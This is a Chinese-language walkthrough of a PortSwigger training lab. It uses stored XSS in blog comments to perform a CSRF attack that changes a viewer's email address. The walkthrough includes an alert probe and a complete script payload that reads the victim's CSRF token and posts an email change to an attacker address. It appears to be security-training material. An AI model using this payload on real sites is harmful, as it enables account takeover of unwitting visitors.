为了方便举例,这里我们选择portswigger默认搭建好的实验室环境。
PS:其他站点类似操作即可。
该实验室在博客评论功能中包含存储的XSS漏洞。要解决实验室问题,可利用该漏洞执行CSRF攻击,并更改查看博客帖子评论的人的电子邮件地址。
实验入口:进入网站https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf,点击【ACCESS THE LAB】即可进入实验环境。
进入环境后可以看到本站点是一个博客,点击【My account】登录博客,可以使用以下凭据登录到自己的帐户:wiener:peter。
查看登录网址源码,可以发现网站做了CSRF防御
接下来需要探索目标网站是否存在XSS注入,以便获取用户csrf token执行后续攻击
随机打开一篇文章
进入评论区,测试是否存在XSS。
通过在评论区注入代码<script>alert(1)</script>
,返回博客首页后,出现弹窗,说明评论区确认存在XSS注入点。
构建XSS payload提取源码中的csrf token值,并发送修改电子邮箱的请求,受害者进入评论页面后,电子邮箱会被自动篡改。
构建payload如下
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get', '/my-account', true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
console.log(token)
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=attacker@163.com')
};
</script>
5. 再次进入这篇文章后会自动篡改邮箱,拦截的请求如下,可以看到CSRF注入生效了。
当然也可以利用Burp Suite专业版自带的CSRF PoC生成器自动生成一份PoC,html格式,可以直接界面点击触发。
[1] https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf